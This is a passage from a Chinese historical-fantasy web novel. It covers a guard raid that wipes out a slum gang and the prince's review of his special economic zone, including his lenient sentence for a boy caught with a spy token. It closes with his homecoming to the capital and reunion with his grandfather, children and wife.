紧接着,整个“蝎子窝”外围,瞬间亮起无数火把! 如同一条巨大的、燃烧的火龙,将整个贫民窟团团围住! 火光冲天! 将夜空映照得如同白昼! 无数金吾卫士兵的身影在火光中若隐若现! 更可怕的是,伴随着沉重的脚步声和金属摩擦声,一种低沉而压抑的、如同闷雷滚动般的“咔哒……咔哒……”声响起! 那是火铳装填弹药的声音! 数十名装备着早期火绳枪的“火器营”士兵,在盾牌手的掩护下,黑洞洞的枪口对准了“蝎子窝”的入口和各个可能的逃窜路径! “里面的人听着!”一个洪亮而冰冷的声音通过巨大的铜皮喇叭响起,如同雷霆般滚过整个“蝎子窝”! “奉世子殿下钧令,金吾卫剿匪,窝藏倭寇细作者!格杀勿论!限尔等一炷香内!交出匪首黑蝎及其党羽!束手就擒!否则鸡犬不留!!” “鸡犬不留!鸡犬不留!!”金吾卫士兵齐声怒吼! 声浪如同海啸般席卷而来! 震得破败的窝棚簌簌发抖! “蝎子窝”瞬间炸开了锅! 惊恐的哭喊声、尖叫声、咒骂声、绝望的哀嚎声汇成一片! 流民们如同受惊的蚂蚁,在狭窄污秽的巷道里乱窜! 有人试图从边缘的破洞钻出去,立刻被外面射来的弩箭钉死在墙上! 有人想反抗,拿起木棍和菜刀,但面对黑洞洞的火铳和森严的军阵,瞬间被吓得瘫软在地! 黑蝎面如死灰! 三角眼中充满了极致的恐惧和疯狂! 完了!全完了! 毛阎王这是要赶尽杀绝! “妈的!跟他们拼了!”他猛地抽出腰间的短刀,发出野兽般的咆哮! “兄弟们!抄家伙!杀出去!杀一个够本!杀两个赚一个!” 但响应者寥寥无几! 大部分喽啰早已被金吾卫的阵势吓破了胆,哭爹喊娘地四处躲藏! 只有几个亡命徒红着眼睛,拿着简陋的武器,聚集到黑蝎身边。 “点火!烧!给老子烧!”黑蝎眼中闪烁着疯狂的光芒,他知道自己绝无生路,只想拉更多人垫背! “把这里全烧了!让毛阎王给老子陪葬!” 几个亡命徒立刻点燃火把,疯狂地点燃周围的破油毡和木料! 火苗瞬间窜起!浓烟滚滚! 整个“蝎子窝”陷入一片火海和混乱! “冥顽不灵!杀!”毛梦极冰冷的声音如同死神的宣判! “砰!砰!砰!!” 震耳欲聋的火铳轰鸣声瞬间撕裂夜空! 如同惊雷炸响! 铅弹如同暴雨般射入混乱的人群和燃烧的窝棚! 惨叫声、哀嚎声、房屋倒塌声、火焰燃烧的噼啪声交织在一起! 如同人间地狱! “放箭!”弩箭如同飞蝗般激射而出! 精准地收割着试图反抗或逃跑的生命! 金吾卫士兵如同黑色的钢铁洪流,在火铳和弩箭的掩护下,踏着整齐而沉重的步伐,开始向“蝎子窝”中心推进! 刀光闪烁! 血肉横飞! 任何敢于反抗者,瞬间被砍翻在地! 冷酷! 高效! 如同精准的杀戮机器! 黑蝎挥舞着短刀,如同困兽般左冲右突,身上已中了两箭! 鲜血染红了衣襟! 他疯狂地砍杀着,但很快就被数名金吾卫士兵包围! 冰冷的刀锋如同毒蛇般刺穿了他的胸膛! 他低头看着透胸而出的刀尖,眼中充满了不甘和怨毒,喉咙里发出“嗬嗬”的怪响,最终如同烂泥般瘫倒在地! 那双至死都充满贪婪和凶戾的三角眼,死死瞪着火光冲天的夜空…… “蝎子窝”的覆灭,如同沪县黑暗角落里的一个脓疮被彻底剜除。 第687章 死罪可免 崇明沙洲,深水港的喧嚣如同永不停歇的潮汐,日夜轰鸣。 万吨巨轮“破浪号”庞大的钢铁身躯稳稳停靠在崭新的花岗岩泊位上,粗大的缆绳如同巨蟒缠绕在铸铁系缆桩上。 高耸的“天车”吊臂在蒸汽绞盘的嘶鸣声中缓缓转动,巨大的铁钩精准地探入船舱,将成捆的铜线、沉重的机械部件稳稳吊起,移向灯火通明的甲字仓库。 力工们赤膊古铜的脊背在晨光下油亮发光,扛着沉重的麻袋,喊着雄浑的号子,在栈桥上汇成一股奔腾的血肉洪流。 港口,这台由钢铁、水泥、蒸汽和血肉构筑的庞大机器,正以惊人的效率高速运转,吞吐着来自武清、津门乃至遥远南洋的工业血脉。 然而,与港口这沸腾的、充满力量感的喧嚣截然不同,在沪县新城核心区,那座由原县衙扩建、戒备森严的“沪县经济特区总督府”内,气氛却沉凝如水,带着一种掌控一切的冷静与深邃。 总督府正堂,高阔肃穆。 巨大的紫檀木屏风上,浮雕着气势磅礴的“长江东海万里图”。 堂下,两排紫檀官帽椅分列左右。 此刻,林臻并未端坐主位,而是负手立于那幅巨大的“沪县经济特区总体规划沙盘”前。 沙盘制作精良,山川河流、港口码头、道路桥梁、规划中的工业区、商业区、住宅区、学堂、医馆、公园绿地……纤毫毕现,如同微缩的王国。 他身着一袭素雅的月白蟠龙常服,身形挺拔如松,气度沉凝如山。晨光透过高大的琉璃窗棂,洒在他沉静的侧脸上,勾勒出深邃的轮廓。 他手中把玩着那块温润的羊脂白玉佩,目光平静地扫视着沙盘上每一处细节,如同神祇俯瞰自己的国度。 “殿下,”萧寒舟身着靛青儒衫,手持一卷文书,侍立一旁,声音清朗而沉稳, “‘破浪号’、‘扬帆号’已顺利完成首航卸货。首批武清机械厂分厂设备、齐鲁水泥厂原料、南洋橡胶及锡矿已全部入库。港口调度中心运转良好,仓储、转运、登记各环节衔接顺畅,未出纰漏。” 林臻微微颔首,目光依旧落在沙盘上那条蜿蜒延伸、连接港口与新城腹地的粗红线路上——“沪港大道”。 “道路进度。” “回殿下,”楚惜灵清冷的声音响起。她一身便于行动的靛蓝工装,长发简单束起,脸上带着一丝熬夜后的疲惫,但眼神依旧锐利如鹰, “‘沪港大道’一期(港口至工业园段)碎石路基铺设已完成百分之九十五,三合土硬化层正在分段浇筑。按殿下要求,预留了未来铺设铁轨(畜力轨道马车)的基槽。二期(工业园至新城核心区)路基拓宽已完成百分之七十,预计十日内全线贯通。沿线预设的输水管道、排水沟渠同步推进,由工部(萧寒舟筹建)专人监督。” 林臻指尖在玉佩上轻轻摩挲,目光投向沙盘上那片标注着“沪东工业园”的区域:“工业园。” “首批五家核心配套企业已签署入驻协议,”张俪的声音紧接着响起,她今日穿着一身利落的靛蓝绣银线箭袖长裙,外罩素色半臂,精明干练中透着一丝雍容, “武清机械分厂、齐鲁水泥分厂、江南纺织机械厂、金陵冶铁坊、苏杭精密器件所。厂区规划图已由惜灵妹妹审核批复,首批用地已完成平整,部分厂房地基已开挖。特区招商服务中心已协助完成用工招募、建材采购对接。另,‘特区钱庄’筹建方案已拟定,章程、股本结构、准备金比例已核定,待殿下御览批复后,即可挂牌运营。” 她说着,将一份装帧精美的折子恭敬呈上。 林臻接过折子,并未立刻翻开,目光转向肃立一旁的毛梦极:“治安。” 毛梦极按刀躬身,玄黑鱼鳞甲在晨光下泛着冷硬的光泽,枯瘦的脸上那道刀疤如同刻上去一般,声音嘶哑低沉:“港口、主干道、工业园核心区,金吾卫日夜巡防,无虞。新增‘特区巡防队’三百人,已完成基础操训,投入街面巡逻。昨夜……” 他顿了顿,声音更冷,“水泥厂倭寇潜入事件已查明。贼首服部半藏重伤在逃,其同党三人被格杀,两人被俘(王二狗、李老蔫)。另,流民窟‘蝎子帮’匪首黑蝎及其骨干七人,于昨夜聚众抗法、纵火焚仓,已被当场格杀!余党三十七人悉数擒获!缴获倭国信物‘鸣蝉’一枚,及疑似水泥配方抄本一册。相关人犯及物证已押入‘镇抚司’死牢,听候殿下发落!” 林臻脸上依旧没有任何波澜,仿佛昨夜那场惊心动魄的暗战与血腥清洗,不过是棋盘上几枚无关紧要的棋子被扫落。 他目光平静地扫过众人:“霖哥儿?” 毛梦极眼中闪过一丝不易察觉的波动:“那孩子亦被羁押。据查,其与高丽细作金顺义过从甚密,昨夜携带有倭国‘鸣蝉’,并试图转移疑似赃物(油布包)。现一并收押于‘镇抚司’。” 堂内气氛微微一凝。 霖哥儿……那个在港口工地跑腿的瘦小身影,竟卷入如此漩涡? 林臻沉默片刻,指尖在玉佩上轻轻一点:“带他上来。” 片刻后,两名金吾卫士兵押着一个瘦小的身影步入正堂。 正是霖哥儿。 他穿着一身明显不合身的、粗糙的囚服,小脸惨白如纸,嘴唇干裂,头发凌乱,浑身沾满污泥和干涸的血迹(昨夜挣扎所致)。 他低着头,小小的身体因为极致的恐惧而剧烈颤抖,如同秋风中的落叶。 他不敢抬头看任何人,尤其是堂上那位如同神祇般高高在上的世子殿下。 镇抚司死牢那阴森、冰冷、弥漫着血腥和绝望气息的环境,早已摧毁了他最后一丝勇气。 他感觉自己像一只被扔进滚油锅的蚂蚁,随时会被碾得粉碎。 “抬起头来。”林臻的声音不高,却带着一种穿透人心的力量,清晰地传入霖哥儿耳中。 霖哥儿浑身一颤,如同受惊的兔子,下意识地抬起头。 当他的目光接触到林臻那双深邃、平静、仿佛能洞悉一切的眼眸时,巨大的恐惧瞬间攫住了他! 他“噗通”一声瘫软在地,额头死死抵着冰冷光滑的金砖地面,发出压抑不住的、如同幼兽般的呜咽: “殿……殿下……饶……饶命……小……小人……冤枉……小人……什么……都不知道……” 泪水如同断了线的珠子,汹涌而出,混合着污泥,在光洁的地面上洇开一小片污迹。 堂内一片寂静。 只有霖哥儿压抑的抽泣声在回荡。 张俪眼中闪过一丝不忍,楚惜灵眉头微蹙,萧寒舟眼神复杂,毛梦极则面无表情,如同铁铸。 林臻静静地看着地上那团因为恐惧而缩成一团的小小身影,目光平静无波。 他缓步走下台阶,停在霖哥儿面前。 玄色蟠龙纹的靴尖距离霖哥儿颤抖的手指仅有寸许。 “你叫霖哥儿?”林臻的声音依旧平静,听不出喜怒。 “是……是……小人……霖哥儿……”霖哥儿声音抖得不成调。 “王有德是你什么人?” 霖哥儿浑身剧震! 如同被一道闪电劈中! 父亲那个被他亲手埋葬在记忆深处的、如同噩梦般的名字! 巨大的惊恐和耻辱感瞬间淹没了他! 他猛地抬起头,小脸上泪水纵横,眼中充满了难以置信的恐惧和……一丝深藏的怨恨? “不……不是……小人……小人没有爹……小人……是孤儿……”他语无伦次,声音嘶哑。 林臻深邃的目光仿佛穿透了霖哥儿脆弱的伪装,看到了那个蜷缩在窝棚角落、目睹父亲疯狂自戕的绝望孩童。 他没有追问,话锋一转:“金顺义为何找你?那油布包里的东西,从何而来?” 霖哥儿如同抓住了救命稻草,连忙哭诉:“回……回殿下……小人不知道金老板……他……他受伤了……快死了……让小人送他去医馆……那……那包……是他……他塞给小人的……说……说很重要……让……让小人保管……小人……小人真的什么都不知道啊殿下……” 他一边哭,一边用脏兮兮的袖子胡乱擦着眼泪,模样凄惨可怜。 “那‘鸣蝉’呢?”林臻追问,声音带着一丝不易察觉的压迫。 “鸣蝉?”霖哥儿一愣,茫然地摇头,“小人不知道……那‘虫子’是金老板包里的,它……它会动……会叫……小人……小人害怕……” 第688章 活罪难逃 林臻不再多问。 他转身,目光投向毛梦极:“东西。” 毛梦极立刻上前,双手呈上一个用油布仔细包裹的物件。 林臻接过,解开油布。里面是两样东西:一本封面染着暗红血迹、边缘磨损的厚册子——《325#硅酸盐水泥配方及工艺参数(绝密)》;还有一个外壳碎裂、结构精巧、但已毫无生气的黑色金属“鸣蝉”。 林臻拿起那本册子,随手翻开几页。 上面是工整却略显潦草的笔迹,详细记录着水泥的原料配比、煅烧温度、研磨细度等核心参数,旁边还有不少批注和修改痕迹。 他目光平静,仿佛看的不是价值连城的工业机密,而是一本寻常的账册。 片刻后,他将册子合上,递给身后的楚惜灵:“惜灵,看看。” 楚惜灵恭敬接过,快速翻阅,清冷的眼眸中闪过一丝锐芒:“殿下,此配方……与臣妾主持研发的‘325#’核心参数有七成相似,但部分关键数据有误,尤其是煅烧温度区间和矿渣添加比例,若按此生产,成品强度将大打折扣,且易开裂。应是仓促间描摹,或……故意掺假。” 她声音冷静,带着专业的判断。 林臻微微颔首,似乎早有预料。 他又拿起那个碎裂的“鸣蝉”,在指尖把玩片刻。 金属冰冷的触感和内部精密的齿轮结构,显示出倭国不俗的工艺水平。 “倭人的小玩意。”他随手将“鸣蝉”丢回油布上,语气淡漠,仿佛丢弃一件垃圾。 他的目光重新落回跪在地上、瑟瑟发抖的霖哥儿身上。 “霖哥儿,”林臻的声音依旧平静,却带着一种决定命运的力量,“你父王有德,贪赃枉法,鱼肉百姓,罪不容诛,已自食其果。你母在纺织工坊,勤勉本分,已获新生。你……本可安分守己,凭双手挣一份前程。” 霖哥儿听到母亲的消息,浑身一震,猛地抬起头,眼中爆发出强烈的光芒! 娘……娘还活着!还在工坊!他……他还有娘! “然,”林臻话锋一转,声音转冷,“你私通外谍,传递密件,身怀敌国信物,按《大乾律》及《特区战时管制条例》,当以通敌叛国论处……斩立决,枭首示众。” “斩……斩立决?!”霖哥儿如遭雷击! 瞬间面无人色! 巨大的恐惧如同冰水浇头,将他刚刚燃起的一丝希望彻底浇灭! 他瘫软在地,连哭泣都忘了,眼中只剩下无边的绝望和死灰! 斩首……枭首……像朴昌范一样……像黑蝎一样……他小小的身体因为极致的恐惧而剧烈抽搐,喉咙里发出“嗬嗬”的怪响,仿佛随时会晕厥过去。 堂内众人神色各异。 张俪欲言又止,眼中不忍更甚。 楚惜灵眉头紧锁。 萧寒舟微微叹息。 毛梦极依旧面无表情。 林臻的目光如同冰冷的探照灯,审视着霖哥儿濒临崩溃的反应。 片刻后,他缓缓开口,声音如同破开乌云的阳光,带着一丝不容置疑的威严: “念你年幼无知,受人胁迫,且举报有功(指其携带‘鸣蝉’暴露行踪,间接导致服部半藏被捕),本世子……法外开恩。” 霖哥儿猛地抬头,死灰般的眼中瞬间爆发出难以置信的光芒! 如同溺水之人抓住了最后一根稻草! “然,死罪可免,活罪难饶。”林臻的声音带着掌控一切的决断,“即日起,削去你‘力工营’籍册。发往‘工业园学徒营’,交由楚惜灵严加管束!每日劳作之余,需至蒙学堂习文识字,修习《大乾律》及《特区条例》!由萧寒舟亲自督导!三年之内,不得擅离工业园半步!若有懈怠,或再生事端……数罪并罚,定斩不饶!” 削籍! 发配学徒营! 严加管束! 习文识字! 不得擅离! 霖哥儿呆呆地听着,巨大的转折让他一时无法反应。 不用死了?不用砍头了? 虽然要去那个陌生的“学徒营”,要干活,要读书,不能离开……但……他还能活着! 还能……有机会见到娘?! 巨大的狂喜和后怕如同潮水般将他淹没! 他再也忍不住,“哇”地一声大哭起来! 这一次,不再是恐惧的泪水,而是劫后余生的宣泄! 他匍匐在地,额头重重磕在金砖上,发出“咚这一次,不再是恐惧的泪水,而是劫后余生的宣泄! “谢……谢殿下不杀之恩!谢殿下!小人……小人一定改过自新!一定好好干活!好好读书!报答殿下!呜呜呜……” 林臻不再看他,挥了挥手。两名金吾卫士兵上前,将哭得几乎虚脱的霖哥儿带了下去。 堂内恢复了寂静。林臻转身,重新走回沙盘前,目光投向那片浩瀚的东海。 “倭寇亡我之心不死。”他声音平静,却带着冰冷的杀意,“萨摩藩……岛津氏……跳梁小丑,也敢觊觎神州?” “殿下,”毛梦极上前一步,声音带着铁血煞气,“俘虏服部半藏身中剧毒,伤势极重,但已用秘药吊住性命。其意志顽强,寻常刑讯恐难撬开其口。另两名俘虏伤势稍轻,但皆为贪生怕死之辈,可作突破口。是否用些‘特殊’手段?” 他枯瘦的手指在刀柄上轻轻摩挲,眼中寒光闪烁。 “不必。”林臻淡淡道,“将服部半藏单独关押,严加看守,延医诊治,务必留其性命。其余人犯,移交萧寒舟,按《特区司法暂行条例》公开审讯,明正典刑。所得口供,无论巨细,记录在案。” “公开审讯?”萧寒舟微微一愣,“殿下,倭寇潜入、窃取机密,事关重大,是否……” “就是要让所有人知道。”林臻打断他,目光深邃如海,“让那些心怀叵测的商贾、潜伏的细作、还有京城的眼睛,都看清楚!犯我沪县者,无论倭寇、内奸、还是贪官污吏,是何下场!特区法度,不容亵渎!乱世,当用重典!但典,需明!刑,需正!” “是!臣明白了!”萧寒舟躬身领命,眼中闪过一丝明悟。 “惜灵,”林臻转向楚惜灵,“水泥配方泄露,虽系描摹,且有谬误,但隐患已现。加速‘新型高标号抗蚀水泥’及速凝配方研发。核心工艺,拆分掌握,核心窑炉,增派金吾卫,实行双钥管制。另,港口警报系统效果显著,可在工业园、船坞、乃至新城核心区逐步推广。” “是!殿下!”楚惜灵眼中闪烁着专注和兴奋的光芒,躬身应道。技术上的挑战,正是她最热衷的战场。 “俪儿,”林臻最后看向张俪,“特区钱庄挂牌在即,首期以拍卖保证金及部分罚没赃款为准备金。发行‘沪元’,锚定‘工分’。首要任务,吸纳民间散资,为工业园建设及新城安居工程提供低息贷款。同时,严密监控大额资金异常流动,尤其是与高丽、倭国有牵连的商号。特区金融命脉,不容有失。” “夫君放心!”张俪声音清脆,带着商界女王特有的自信与掌控力, “钱庄章程已完备,首任掌柜已到位。沪元票版由工部监制,采用殿下提示的水印、密押及编号追踪技术,防伪万无一失。首批贷款名录及额度已初步筛选,待殿下批复即可放款。至于监控……妾身已在各大商号安插了眼线,并与毛将军共享情报网络,绝无疏漏!” 林臻微微颔首,目光再次投向沙盘上那片象征着未来的广阔蓝图。 深水港如同巨龙之口,吞吐四方财富;工业园如同强健筋骨,锻造工业基石;新城如同血肉肌肤,滋养万民生息;而金融,如同奔涌的血液,将这一切串联激活! 沪县的崛起,已势不可挡! 至于那些暗处的魑魅魍魉、跳梁小丑……不过是这宏大乐章中,几声微不足道的、注定被湮灭的杂音罢了。 他缓缓抬起手,指尖在沙盘上“崇明深水港”的标记上轻轻一点,如同按下了启动整个时代的按钮。 “传令:自即日起,特区进入‘一级战备’状态。金吾卫全员戒备,加强海陆巡逻。工业园、船坞、军械库、粮仓等要害区域,实行军事管制。所有进出沪县人员、货物,严加盘查。凡有通敌嫌疑者……杀无赦!” “是!”众人齐声应诺,声音铿锵,带着无比的坚定和敬畏。 第689章 回家 长江浩荡,千帆竞发。 沪县深水港的喧嚣与烟尘,被远远抛在身后。 巨大的官船“镇海号”犁开浑浊的江水,逆流而上,驶向大乾王朝的心脏——京城。 甲板上,林臻负手而立,玄色蟠龙披风在江风中猎猎作响。 他深邃的目光掠过两岸逐渐繁华的城镇和田畴,沪县的钢铁巨港、轰鸣的工坊、金吾卫的铁血肃杀……如同褪色的画卷,在眼前缓缓卷起。 一年多的呕心沥血,沪县已从破败小城蜕变为控扼江海咽喉的东方巨港,根基已成。 是时候,暂时抽身了。 船舱内,气氛却与甲板的肃杀截然不同,弥漫着一种归家的松弛与暖意。 楚惜灵褪去了工装,换上一身月白绣银竹纹的云锦长裙,长发松松挽起,斜插一支羊脂白玉簪,清丽中带着一丝难得的慵懒。 她正拿着一本《天工开物》的残卷,细细研读,偶尔提笔在旁边的宣纸上勾勒几笔精巧的机械草图,但眉宇间那份专注的锐利已悄然隐去,取而代之的是一种卸下重担后的宁静。 张俪则是一身海棠红缕金百蝶穿花云缎宫装,外罩雪狐镶边比甲,正斜倚在铺着厚厚锦垫的贵妃榻上,手中把玩着一枚温润的羊脂玉佩,嘴角噙着一抹若有若无的笑意。 她对面,坐着两个如花似玉的少女。 左侧晴雯,她穿着鹅黄撒花软烟罗衫子,下系葱绿盘锦彩绣棉裙,身量苗条,削肩细腰,一张瓜子脸儿,俊眼修眉,顾盼神飞,透着几分机敏与娇俏。 浣碧穿着水蓝底子折枝玉兰刺绣长袄,下配月白挑线裙子,气质温婉沉静,肌肤胜雪,眉目如画,尤其一双秋水明眸,清澈见底,带着几分不谙世事的纯净。 “俪姐姐,”晴雯绣完最后一针,咬断丝线,将帕子递给张俪看,“您瞧这莲花,可还入眼?回头给祖父绣在荷包上,祖父肯定喜欢!” 张俪接过帕子,细细端详,赞道:“好巧的手!这花瓣的晕色,简直像活的一般!祖父见了,必定欢喜。”她目光转向楚惜灵, “惜灵妹妹,你也别总看那些铁疙瘩的图了,歇歇眼睛。回京了,该好好松快松快。” 楚惜灵放下书卷,微微一笑,清冷的眉眼柔和了几分:“习惯了。沪县那边,萧寒舟稳重,毛梦极坐镇,出不了大乱子。只是……这‘蒸汽轮机’的图纸,总觉得还差一点火候……” 她下意识地又想去拿笔。 “哎呀,我的好妹妹!”张俪嗔怪地拉住她的手,“到家了!天塌下来有夫君顶着!你这脑袋里,除了图纸,还能不能装点别的?” 舱内响起一阵轻笑。 晴雯和浣碧也抿着嘴笑。 楚惜灵难得地露出一丝赧然,顺从地放下了书卷。 船行数日,京城巍峨的轮廓终于出现在地平线上。 巨大的城墙如同蜿蜒的巨龙,城楼高耸,旌旗招展。 码头上,早有镇北王府的仪仗等候。 黑压压的亲兵肃立,盔甲鲜明,刀枪如林,当中一杆玄色蟠龙大纛迎风招展,上书一个斗大的“林”字! 肃杀之气,扑面而来! 与沪县金吾卫的彪悍不同,这是百战边军才有的、沉淀在骨子里的铁血威严! 林臻携众女下船。 楚惜灵、张俪一左一右,晴雯、浣碧紧随其后。 王府总管林安早已率众跪迎:“恭迎世子、各位夫人回府!” “老安,一年不见,怎么又肥了一圈啊?”林臻抬手虚扶,目光扫过熟悉的亲卫面孔,心中涌起一股久违的暖流,“府中一切安好?” “回世子的话!”林福声音洪亮,带着难以抑制的激动,“王爷已于月前凯旋!北燕王庭已降!北燕全境,尽归我大乾版图!如今,王爷正在府中含饴弄孙,安享天伦!” “祖父回来了?!”林臻眼中爆射出惊喜的光芒! 北燕! 这块困扰大乾北疆百年的顽疾,竟被祖父一战而定! 他心中豪情激荡,恨不得立刻飞回府中! 王府,坐落在京城西侧,占地极广,朱门高墙,气象森严。 然而,当林臻一行人踏入府门,却感受到一种与府邸威严截然不同的、近乎喧闹的……童稚欢笑声! 循声穿过重重庭院,来到王府深处最幽静也最宽敞的“松鹤堂”。 这里是摄政王林震仙的居所。 还未进门,就听到一个洪亮如钟、中气十足却又带着浓浓宠溺的笑骂声从里面传来: “哎哟!我的小祖宗!别揪祖父祖父胡子!哎哟喂!轻点轻点!这可是你太奶奶当年最爱的宝贝胡子!” “哈哈哈!祖父祖父胡子长!像老山羊!承煜骑大马!驾!驾!” “还有我!还有我!承树也要骑!祖父祖父快趴下!” “好好好!都骑!都骑!哎哟……你们两个小猴子!慢点!别摔着!” “哇……呜哇……”接着是婴儿嘹亮的啼哭声。 “哎哟!我的小囡囡不哭不哭!是不是哥哥们吵到你了?看祖父祖父给你变戏法!叮当!看!小铃铛!喜不喜欢?” “咯咯咯……”婴儿破涕为笑。 林臻站在门外,听着里面这鸡飞狗跳又温馨无比的动静,一时竟有些恍惚。 这……还是他记忆中那个在千军万马前横刀立马、令敌人闻风丧胆的“血手人屠”吗? 他示意亲卫噤声,轻轻推开门。 只见宽敞明亮的正堂内,铺着厚厚的波斯地毯。 一个身材魁梧、须发皆白、却红光满面、精神矍铄的老者,正……毫无形象地趴在地毯上! 他穿着一身舒适的玄色暗金云纹常服,头上……竟顶着两个两三岁、虎头虎脑、穿着大红锦缎袄裤的男童! 正是林臻的长子林承煜和次子林承树?! 两个小家伙兴奋地揪着老者的白发和白胡子,嘴里“驾驾”地喊着,把祖父祖父当成了大马骑! 老者非但不恼,反而哈哈大笑,配合地在地上爬了两步,逗得两个小家伙咯咯直乐。 老者身边,还围着两个奶娘,各自抱着一个襁褓。 一个襁褓里是粉雕玉琢的女婴,正睁着乌溜溜的大眼睛,好奇地看着哥哥们闹腾;另一个襁褓里稍小些的女婴。 这两位,一个是月妩的孩子囡囡,一个是顾缜的孩子的青青。 她们似乎被吵醒了,小嘴一瘪正要哭,林震仙眼疾手快,不知从哪里摸出一个精巧的鎏金小铃铛,在她眼前一晃,“叮铃铃”清脆的铃声立刻吸引了小婴儿的注意,破涕为笑,伸出胖乎乎的小手去抓。 楚惜灵、张俪、晴雯、浣碧跟在林臻身后,看到这一幕,都忍不住掩口轻笑。 林震仙听到门口动静,抬起头。 看到林臻,他眼中瞬间爆发出惊喜的光芒,如同两团燃烧的火焰! “臻儿?!我的好孙儿!你可算回来了!”他猛地就要起身! “哎哟!”头上两个小家伙猝不及防,差点摔下来,吓得哇哇大叫。 “小心!”林臻一个箭步上前,一手一个,稳稳地接住了两个儿子。 “祖父祖父坏!摔到承煜了!”承煜小嘴一瘪,委屈巴巴。 “祖父祖父坏!摔到承树了!”承树也学着哥哥的样子。 “哎哟!祖父祖父的错!祖父祖父的错!”林震仙连忙爬起来,手忙脚乱地拍着两个重孙的背,又想去抱襁褓里的重孙女,一副恨不得长出三头六臂的样子,哪还有半点“血手人屠”的威严? 活脱脱一个被孙辈拿捏得死死的“孩奴”! 林臻看着祖父祖父这副模样,又是好笑又是无奈。 他放下儿子,整理衣冠,恭恭敬敬地跪下:“孙儿林臻,拜见祖父!恭贺祖父北征大捷,扬我国威!” “起来起来!自家人,哪来那么多虚礼!”林震仙一把拉起林臻,蒲扇般的大手重重拍在林臻肩上,力道之大,让林臻都晃了晃, “好小子!结实了!也黑了!沪县那摊子事干得漂亮!深水港!工业园!老夫在军中就听说了!真给咱老林家长脸!哈哈哈!” 他笑声洪亮,震得房梁上的灰尘都簌簌落下。 “都是托祖父洪福。”林臻微笑,目光扫过满堂的孙儿孙女,“祖父……看来是乐不思蜀了?” “那是!”林震仙抱起一个重孙女,用胡子蹭她的小脸,逗得小婴儿咯咯直笑,“打了一辈子仗,骨头都硬了!如今北边平了,也该享享清福了!含饴弄孙,天伦之乐,这才是人生快事!臻儿啊,你是不知道,这几个小祖宗,比你小时候还皮!哈哈哈!” 他笑得开怀,仿佛那些金戈铁马、尸山血海的岁月,都在这满堂的童稚笑语中烟消云散了。 林臻看着祖父祖父眼中那毫不掩饰的满足和宠溺,心中那点想汇报沪县军务、探讨南下战略(韩国)的心思,瞬间烟消云散。 老祖父……是真的“有孙万事足”了! 他无奈地笑了笑,陪着祖父祖父逗弄了一会儿孩子,简单说了些沪县的趣闻和孩子们在路上的见闻。 林震仙听得津津有味,尤其对楚惜灵搞的那些“铁疙瘩”和张俪弄的“钱生钱”啧啧称奇,但对林臻隐晦提及的“海防”、“倭寇”、“扩军”等话题,只是“嗯嗯”几声,便又兴致勃勃地去逗重孙女了。 “祖父,”林臻见时机差不多了,起身道,“孙儿离京日久,府中诸事,还需安顿。孙儿先告退了。” 第690章 夫君今晚是我的 “去吧去吧!”林震仙头也不抬,正拿着一个拨浪鼓逗得小重孙女手舞足蹈,“晚上家宴!咱们祖父俩好好喝几杯!带上你媳妇儿们!还有我的宝贝重孙们!” “是,祖父。”林臻躬身告退。 楚惜灵、张俪等人也行礼告退。 晴雯生气了。 孩子是去年八月被抱回京城的,当时林震仙就说,孩子不回来你们也别回来。 于是没办法,林臻就派了大批护卫和奶娘,把承煜送回来。 如今当母亲的回来了,孩子居然一点都不亲热,光顾着和老头子玩。 她走过去,想抱抱孩子,却被林震仙大手一挥拦住了:“不用不用!孩子放这儿!祖父看着!你们忙你们的去!” 一副生怕被人抢走宝贝的样子。 林臻无奈地摇摇头,带着妻妾们退出了松鹤堂。 走出老远,还能听到里面传来的洪亮笑声和孩子们清脆的嬉闹声。 “祖父,”张俪抿嘴笑道,“王爷这是彻底被几个小的收服了。” 楚惜灵眼中也带着笑意:“孩子们有祖父疼爱,是他们的福气。” 林臻苦笑:“是啊……祖父现在是万事不操心,只顾着逗孩子了。也罢,让他老人家享享清福吧。” 一行人穿过回廊水榭,来到王府内宅的核心区域——“栖凤轩”。 这是上官婉儿的居所。 轩前遍植梧桐,青竹掩映,环境清幽雅致。 林臻站在轩前,心中涌起一股难以言喻的暖流和愧疚。 婉儿……他明媒正娶的正妻,温婉贤淑,端庄大气,在他离京这一年多里,替他操持王府内务,抚育子女(承煜、承树),孝敬祖父,毫无怨言,而他在外奔波,一年多只给她写过一封信。 他深吸一口气,轻轻推开了虚掩的轩门。 轩内陈设典雅,熏着淡淡的百合香。 一个身着正红色蹙金绣彩凤云纹宫装、头戴赤金点翠凤冠的女子,正背对着门口,坐在窗前的绣架前,纤纤玉指引着银针,在素白的锦缎上绣着一幅“百鸟朝凤”图。 阳光透过窗棂,洒在她乌黑如云的秀发和窈窕的背影上,勾勒出一圈柔和的光晕。 她身姿挺拔,气质雍容,仅仅是背影,便已流露出一种母仪天下的端庄与沉静。 正是世子正妃——上官婉儿。 听到开门声,上官婉儿并未立刻回头,只是手中银针微微一顿,随即又恢复了流畅的走线。 她绣完最后一针凤凰的翎羽,才缓缓放下针线,转过身来。 那是一张怎样的容颜? 眉如远山含黛,目似秋水横波,琼鼻樱唇,肤若凝脂。 岁月似乎并未在她脸上留下太多痕迹,反而沉淀出一种温润如玉、光华内敛的绝代风华。 她看着林臻,清澈的眼眸中瞬间漾起千般柔情,万种思念,如同平静的湖面投入一颗石子,涟漪层层荡开。 那目光,仿佛穿越了千山万水,一年的离别时光,都在这一眼中融化。 “夫君……”上官婉儿的声音如同珠落玉盘,清越而温柔,带着一丝不易察觉的哽咽。她起身,莲步轻移,走到林臻面前,盈盈下拜,“妾身……恭迎夫君回府。” 林臻心头一热,连忙上前一步,双手扶住她:“婉儿……快起来!你我夫妻,何须如此大礼!” 他握住她微凉的手,感受着那熟悉的温度和微微的颤抖,千言万语堵在喉头,竟一时不知从何说起。 “夫君……瘦了,也黑了。”上官婉儿抬起头,目光细细描摹着林臻的脸庞,眼中满是心疼,“辛苦夫君了。” “不辛苦。”林臻摇摇头,目光温柔地凝视着她,“倒是你,婉儿,操持偌大王府,抚育孩儿,孝敬祖父……辛苦你了。” 他抬手,轻轻拂去她鬓角一丝并不存在的乱发,动作轻柔,充满了怜惜。 上官婉儿脸颊微红,眼中水光潋滟,低声道:“这是妾身分内之事。只要夫君平安归来,婉儿再辛苦也值得。” 楚惜灵、张俪、晴雯、浣碧也上前,恭敬行礼:“妾身拜见姐姐。” 上官婉儿目光扫过众人:“妹妹们一路辛苦,快请起。惜灵妹妹、俪妹妹在沪县辅佐夫君,劳苦功高。晴雯、浣碧两位妹妹也出落得越发标致了。” 她声音温和,举止得体,尽显正室风范。 “谢娘娘夸赞。”众女齐声应道。 